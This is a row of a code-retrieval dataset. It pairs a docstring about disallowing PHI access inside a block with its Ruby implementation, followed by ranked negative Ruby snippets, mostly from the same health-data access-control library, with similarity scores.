query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Explicitly disallow phi access in a specific area of code. This does not play nicely with the mutating versions of `allow_phi!` and `disallow_phi!` At the moment, this doesn't work at all, as the instance won't necessarily look at the classlevel stack when determining if PHI is allowed. &block [block] The block in which PHI access is explicitly disallowed.
def disallow_phi raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given? __phi_stack.push({ phi_access_allowed: false }) yield if block_given? __phi_stack.pop end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end", "def deny_yin_yang(prock, diagnostic = nil, &block)\n source = reflect_source(&block)\n fuss = [diagnostic, \"fault before calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n block.call\n fuss = [diagnostic, \"fault after calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n end", "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def `(*args); forbidden(__method__); end", "def disable_paranoid\n if block_given?\n @paranoid = false\n yield\n else\n raise 'Only block form is supported'\n end\n ensure\n @paranoid = true\n end", "def unprotected(&block)\n begin\n @unprotected = true\n block.call\n ensure\n @unprotected = false\n end\n end", "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def deny(diagnostic = nil, &block) \n # \"None shall pass!\" --the Black Knight\n # puts reflect(&block) # activate this line and test to see all your denials!\n result = nil\n \n begin\n result = block.call\n rescue => e\n diagnostic = [diagnostic, e.inspect, *e.backtrace].compact.join(\"\\n\\t\")\n _flunk_2_0(\"\\ndeny{ \", diagnostic, block, result)\n end\n \n return unless result\n _flunk_2_0('deny{ ', diagnostic, block, result)\n end", "def node_safe!(node, lvars: {})\n return unless node.is_a?(Parser::AST::Node)\n\n case node.type\n when :send\n\n # This is a call to a method. If there's a receiver, we'll use the\n # instance method whitelist, otherwise we'll use the list of scriptable\n # methods from the sandbox.\n receiver, method = node.children\n whitelist = receiver ? InstanceMethodWhitelist : Sandbox::ScriptMethods\n raise ProhibitedMethod.new(method, node) unless\n whitelist.include?(method)\n else\n\n # If the node type is not supported, raise an exception.\n raise ProhibitedNodeType.new(node.type, node) unless\n NodeTypeWhitelist.include?(node.type)\n end\n node.children.each { |c| node_safe!(c) }\n end", "def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end", "def get_phi(user_id = nil, reason = nil)\n raise ArgumentError, 'block required' unless block_given?\n\n extended_instances = @__phi_relations_extended.clone\n allow_phi!(user_id, reason)\n\n result = yield if block_given?\n\n new_extensions = @__phi_relations_extended - extended_instances\n disallow_last_phi!(preserve_extensions: true)\n revoke_extended_phi!(new_extensions) if new_extensions.any?\n\n result\n end", "def disable_unsafe_method(target, *names, &block)\n block ||= ->(*) {}\n names.each { |name| target.define_singleton_method name, &block }\n end", "def hide!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 108 )\n\n \n # - - - - main rule block - - - -\n # at line 967:5: 'hide' ( IGNORABLE )* '{'\n match( \"hide\" )\n # at line 967:12: ( IGNORABLE )*\n while true # decision 56\n alt_56 = 2\n look_56_0 = @input.peek( 1 )\n\n if ( look_56_0 == 0x9 || look_56_0 == 0xc || look_56_0 == 0x20 || look_56_0 == 0x2f || look_56_0 == 0x5c || look_56_0 == 0xa0 )\n alt_56 = 1\n\n end\n case alt_56\n when 1\n # at line 967:12: IGNORABLE\n ignorable!\n\n else\n break # out of loop for decision 56\n end\n end # loop for decision 56\n match( 0x7b )\n # --> action\n quick_balance( LBRACE, RBRACE ) \n # <-- action\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 108 )\n\n end", "def allowCuratorLogicIgnoreAreas _obj, _args\n \"_obj allowCuratorLogicIgnoreAreas _args;\" \n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def notp(rule, &block)\n ext(NotPredicate.new(rule), block)\n end", "def notp(rule, &block)\n ext(NotPredicate.new(rule), block)\n end", "def virtual_not(&block)\n virtualize_keyword(:not, @not_rewriter, block)\n end", "def not &blk\n @negative = !@negative\n if blk\n @block = blk\n execute_block\n end\n end", "def allow_anon\n end", "def ignore_if(&block)\n @@ignores << block\n end", "def disable_only_if(&block)\n set_or_return(:disable_only_if, block, kind_of: Proc)\nend", "def noone_allowed_anywhere\n # checks for Disallow: /\n !(self.perms['*'] && self.perms['*']['disallow'].find {|r| r == '/'}).nil?\n end", "def privileged(&block)\n ensure_mode(:privileged)\n instance_eval(&block)\n end", "def not!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 64 )\n\n type = NOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 185:7: '!'\n match( 0x21 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 64 )\n\n end", "def disallowSide(side)\n self.allowedSides = self.allowedSides & ~side\n end", "def hide!\n singleton_class.send(:define_method, :nodoc) { true }\n end", "def not!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 61 )\n\n type = NOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 389:7: '!'\n match( 0x21 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 61 )\n\n end", "def allow(allowed_warnings = :all, if: true, &block)\n conditional = binding.local_variable_get(:if)\n conditional = conditional.call if conditional.respond_to?(:call)\n if conditional\n @explicitly_allowed_warnings.bind(allowed_warnings, &block)\n else\n yield\n end\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def hide(&block)\n visible block ? proc { false == (instance_eval &block) } : false\n end", "def skip_token(nocov_token = T.unsafe(nil)); end", "def deny(opts = {})\n stmt = self.class::Statement.new(opts.merge(:effect => :deny))\n statements << stmt\n ConditionBuilder.new(stmt.conditions)\n end", "def visible_check(_traversal_env)\n Result::DENY\n end", "def forbidding(*args, &block)\n\t\t\t\t\tself.instruction.forbidding *args, &block\n\t\t\t\tend", "def foreign_visitor?\n not user\n end", "def tilde!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 56 )\n\n type = TILDE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 177:9: '~'\n match( 0x7e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 56 )\n\n end", "def deny(*args, &block)\n if block.nil?\n test = args.first\n msg = args[1]\n assert !test, msg # this makes it get passed up to the framework\n else\n aver(:deny, *args, &block)\n end\n end", "def deny(*args, &block)\n if block.nil?\n test = args.first\n msg = args[1]\n assert !test, msg # this makes it get passed up to the framework\n else\n aver(:deny, *args, &block)\n end\n end", "def deny(*args, &block)\n if block.nil?\n test = args.first\n msg = args[1]\n assert !test, msg # this makes it get passed up to the framework\n else\n aver(:deny, *args, &block)\n end\n end", "def get_private(phi, e)\n (2...phi).find {|d| e*d % phi == 1}\nend", "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end", "def tilde!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n type = TILDE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 175:9: '~'\n match( 0x7e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n end", "def allow_if(&block)\n @allow_if << block\n return self\n end", "def make_private!\n reinitialize_rules!\n allow_if do\n false\n end\n return self\n end", "def bots_not_allowed\n render_403('page') if visitor_is_bot?\n end", "def bang!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 6)\n\n type = BANG\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 12:8: '!'\n match(?!)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 6)\n\n end", "def github_unauthenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n not warden.authenticated?(scope: scope)\n end\n end", "def t__75!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 20)\n\n type = T__75\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 26:9: 'protected'\n match(\"protected\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 20)\n\n end", "def editable_check(_traversal_env)\n Result::DENY\n end", "def governed(method, &block)\n before = self.guard_count\n res = yield\n\n if @unguarded != true && self.guard_count == before\n raise Kindergarten::Perimeter::Unguarded.new(\n \"#{method} was executed without propper guarding\"\n )\n end\n\n return res\n end", "def sandbox &code\n proc {\n $SAFE = 2\n yield\n }.call\nend", "def without_access_control\n previous_state = Authorization.ignore_access_control\n Authorization.ignore_access_control(true)\n result = yield\n ensure\n Authorization.ignore_access_control(previous_state)\n result\n end", "def latbc(phi)\n=begin\n # not so good\n pi2 = Math::PI/2\n eps = 0.1\n xs = phi[0..1].val \n xe = phi[-2..-1].val\n if (pi2-xs[0].abs) / (xs[0]-xs[1]).abs < eps and\n (pi2-xe[-1].abs) / (xe[-1]-xe[-2]).abs < eps \n GPhys::Derivative::MIRROR_B\n else\n GPhys::Derivative::LINEAR_EXT\n end\n=end\n GPhys::Derivative::LINEAR_EXT\n end", "def execute_in_protected_mode(&block)\n run_as_user do\n shield.with_protected_mode(&block)\n end\n end", "def deny\n throw(:return)\n end", "def protects?(thing)\n false\n end", "def verify_admin\n :authenticate_user!\n have_no_rights('restricted area') unless current_user.isAdmin?\nend", "def disallowable\n return @disallowable if @disallowable\n\n @disallowable = parent_disallowables\n end", "def disallow(*methods)\n methods.each do |meth|\n define_method(meth) do |*, **|\n raise \"#{meth} not expected to be called\" if not_deployed?\n end\n end\nend", "def ignore_me\nend", "def protects?(_thing)\n false\n end", "def deny(condition)\n # a simple transformation to increase readability IMO\n assert !condition\n end", "def deny(condition)\n # a simple transformation to increase readability IMO\n assert !condition\n end", "def deny(condition)\n # a simple transformation to increase readability IMO\n assert !condition\n end", "def no_pvp\n no_define\n end", "def no(*args)\n _define_check_method(args, caller, true)\n end", "def sandbox(&code)\n proc {\n $SAFE = 2\n yield\n }.call\nend", "def !@; LogicalLambda.new {|*args| !call(*args)}; end", "def hide(symbols)\n RegLang.new(fa.hide(symbols))\n end", "def unprotect\n @target\n end", "def disable!\n @mutex.synchronize do\n return self if ! @enabled\n\n this = self\n mod_target.instance_eval do\n if method_defined? this.old_meth\n alias_method this.meth, this.old_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n end\n\n disabled!\n @enabled = false\n end\n\n self\n end", "def hide_tree(*classOrModules)\n\t\tclassOrModules.each do |classOrModule|\n\t\t\t@ignored_tree[classOrModule] = true\n\t\tend\n\tend", "def disable_content_blocks\n cannot :manage, ContentBlock\n end", "def comment(&block)\n #SWALLOW THE BLOCK\n end", "def forbidden?\n @forbidden\n end", "def not_allowed( txn, *args )\n\t\ttxn.err_headers_out['Allow'] = self.build_allow_header( args )\n\t\tfinish_with( Apache::METHOD_NOT_ALLOWED, \"%s is not allowed\" % [txn.request_method] )\n\tend", "def require_admin\n deny_wrong_user if !admin?\n end", "def negate(policy)\n clazz = Class.new(Walruz::Policy) do # :nodoc:\n extend PolicyCompositionHelper\n \n # :nodoc:\n def authorized?(actor, subject)\n result = self.class.policy.new.set_params(params).safe_authorized?(actor, subject)\n result[0] = !result[0]\n result\n end\n \n \n def self.policy_keyword # :nodoc:\n keyword = self.policy.policy_keyword.to_s[0..-2]\n :\"not(#{keyword})?\"\n end\n \n end\n clazz.policy = policy\n clazz\n end", "def global_proxy_exclusion\n super\n end", "def deny(kind, name, attributes = {})\n new attributes.merge(:kind => kind, :name => name, :allow => false)\n end", "def disable_mutation_tracking\n @track_mutations = false\n end", "def allow_in_control=(_arg0); end", "def not_see(*args)\n Kameleon::DSL::Verify::Absence.new(*args).tap do |absence|\n absence.conditions.each do |condition|\n if condition.block\n instance_eval(condition.block)\n else\n page.should send(condition.method, *condition.params)\n end\n end\n end\n end", "def rewrite_not(expression)\n value = expression[1]\n\n s(:call,\n s(:colon2,\n s(:const, :VirtualKeywords),\n :REWRITTEN_KEYWORDS\n ), :call_not,\n s(:array,\n s(:self),\n s(:iter, s(:fcall, :lambda), nil, value)\n )\n )\n end" ]
[ "0.81640065", "0.803826", "0.72729397", "0.717562", "0.69629085", "0.67516845", "0.655199", "0.6528707", "0.6485129", "0.63645905", "0.616724", "0.5976554", "0.59646726", "0.5765009", "0.5614054", "0.555833", "0.53671205", "0.53032136", "0.5277344", "0.5171617", "0.51664096", "0.51624227", "0.5127891", "0.4942824", "0.48361558", "0.48241645", "0.48126996", "0.48116514", "0.47872448", "0.47762373", "0.47568077", "0.47568077", "0.47452897", "0.46990427", "0.46978158", "0.4676003", "0.46752852", "0.4667895", "0.46466497", "0.46288842", "0.462188", "0.46187368", "0.46144858", "0.4578631", "0.45715582", "0.45637268", "0.45634297", "0.45538953", "0.45503783", "0.45236203", "0.45031092", "0.4503043", "0.44916734", "0.44916734", "0.44916734", "0.44913912", "0.44861436", "0.44768596", "0.44639486", "0.44544455", "0.4448077", "0.4431704", "0.44249696", "0.44188994", "0.44103545", "0.44051692", "0.4404915", "0.44035423", "0.44033524", "0.43872467", "0.43860438", "0.43775767", "0.43737647", "0.43716654", "0.43687445", "0.43685994", "0.43674195", "0.43491083", "0.43491083", "0.4348375", "0.4346401", "0.4333611", "0.43280742", "0.43170896", "0.43088275", "0.43087527", "0.4302449", "0.4279287", "0.42744118", "0.4258587", "0.4258237", "0.4253711", "0.4244928", "0.42403138", "0.4233221", "0.42304263", "0.42301577", "0.4228598", "0.4213134", "0.42100316" ]
0.8087484
1
Revoke all PHI access for this class, if enabled by PhiRecordallow_phi!
def disallow_phi! raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given? message = __phi_stack.present? ? "PHI access disabled for #{__user_id_string(__phi_stack)}" : 'PHI access disabled. No class level access was granted.' __reset_phi_stack PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do PhiAttrs::Logger.info(message) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def unprotect\n @target\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def revoke\n raise \"Implement me!\"\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def untrust!\n MTurkUtils.untrust_user self\n end", "def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end", "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def unprotect()\n res = super(context,self)\n return res\n end", "def uncan_all()\n self.brk_excluded = :all\n end", "def clear_accessors\n get_privacy_setting.accessors.clear\n end", "def abandon!\n @user = nil\n session.delete\n end", "def abandon!\n @user = nil\n session.delete\n end", "def revoke_session(user)\n\t\t@sessions.delete user\n\tend", "def sign_out_all_scopes(lock = T.unsafe(nil)); end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def revoke_token\n raise 'To be implemented in child classes'\n end", "def destroy\n Puppet.debug(\"Calling destroy method of security_policy_cloakingprovider: \")\nend", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def abandon!\n @user = nil\n session.clear\n end", "def disable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.last_access = Time.zone.now\n delete_storage_object(person_authentication_key.to_sym)\n proxy_u.save!\n true\n end", "def destroy\n Puppet.debug(self.class.to_s.split('::').last + ': Calling destroy method : ')\n\n response, status_code, headers = Puppet::Provider::Cudawaf.delete('SecurityPolicy', @resource[:name], {})\n @property_hash.clear\n [response, status_code, headers]\n end", "def signed_out_other_scope(resource)\n ActiveRecord::SessionStore::Session.all(:conditions => ['user_id = ?', resource.id]).compact.each do |s|\n begin\n s.destroy\n rescue\n next\n end\n end\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def destroy\n @access.destroy\n end", "def destroy_all\n proxy_target.each { |object| object.destroy }\n end", "def delete\n Authentication.where(user_id: id).each { |auth| auth.delete }\n super\n end", "def possessionrevoke\n party = Party.find(params[:party_id])\n possession = party.possessions.find(params[:possession_id])\n party.possessions.delete(possession)\n \n redirect_to :action => 'relationshipassignment', :party_id => params[:party_id]\n end", "def delete_trusted_keys_statement\n super\n end", "def decommission\n actually_decomission = false\n\n self.transaction(Zartan::Application.config.default_transaction_options) do\n if self.no_sites?\n # soft-delete the proxy so that nobody else tries to use it\n self.soft_delete\n self.save\n # Decomission the proxy outside of the transaction\n actually_decomission = true\n end\n end\n # Tear down the proxy outside of the transaction because we don't need\n # the database anymore.\n self.source.decommission_proxy(self) if actually_decomission\n end", "def destroy\n session[:superadmin_mode] = false\n redirect_to_home\n end", "def destroy\n puts(\"Tacos are indestructible\")\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def abandon!\n authentication.abandon!\n end", "def destroy\n\t\tlog_out\n\t\tUTEPSSO.deauthenticate(cookies[:UTEP_SE], cookies[:UTEP_SA])\n\t\tredirect_to root_url\n\tend", "def destroy\n\t\tsession[:user_id] = nil\n\t\tsession[:authenticated] = false\n\t\tsession[:admin] =nil\n\t\tredirect_to root_path\n\tend", "def revoke_admin\n self.update_attributes(:admin => false)\n end", "def turn_off\n self.class._end_session\n end", "def delate_constraint\n\t\tdelete_constraint_check(params[:user_id], params[:constraint_id])\n\t\tConstraint.delete(params[:constraint_id])\n\t\tredirect_to settings_page_path(id: params[:user_id])\n\tend", "def unregister_capabilities(methods); end", "def destroy\n revert_impersonate\n redirect_to root_path\n end", "def remove_all_tenants\n @apt_tenants.clear\n end", "def delete_records_with_hobo_permission_check(records)\n klass = @reflection.through_reflection.klass\n user = acting_user\n if user && records.any? { |r|\n joiner = klass.find(:first, :conditions => construct_join_attributes(r))\n joiner.is_a?(Hobo::Model) && !joiner.destroyable_by?(user)\n }\n raise Hobo::PermissionDeniedError, \"#{@owner.class}##{proxy_reflection.name}.destroy\"\n end\n delete_records_without_hobo_permission_check(records)\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def clear_dependencies\n if self == ActiveRecord::Base.acl_manager.initial_destroy\n ActiveRecord::Base.acl_manager.destroy_pool = []\n ActiveRecord::Base.acl_manager.initial_destroy = nil\n end\n end", "def deregister_all(session)\n namespace = session.namespace_const\n session.modules.each do |m|\n m.deregister\n end\n session.modules = []\n @initialized = false\n true\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def destroy\n sign_out(authenticatable_class)\n redirect_to(passwordless_sign_out_redirect_path, Passwordless.config.redirect_to_response_options.dup)\n end", "def destroy\n Puppet.debug(\"Calling destroy method of security_policy_parameter_protectionprovider: \")\n end", "def destroy(sym)\n klass = get_plugin sym\n @klasses.delete klass\n remove_const canonize sym\n end", "def unauthorize!\n throw(:warden)\n end", "def unlock_access!; end", "def stop_impersonating\n stop_impersonating_user\n redirect_to root_path and return\n end", "def revoke_all_account_and_authentication_tokens\n self.redis.keys(account_token_key('*')).each do |token_key|\n token = token_key.gsub(\"user:#{id}:account_token:\", '')\n revoke_token(token)\n end\n end", "def remove_all_authentications\n current_user.authentications = []\n current_user.save\n render :text => \"Your Auths Are Destroy\"\n end", "def remove (*perms)\n perms = perms.map(&:to_s)\n delete(*proxy_target.select{|a|perms.include?(a.permission.name)})\n end", "def destroy\n log_out\n end", "def destroy\r\n 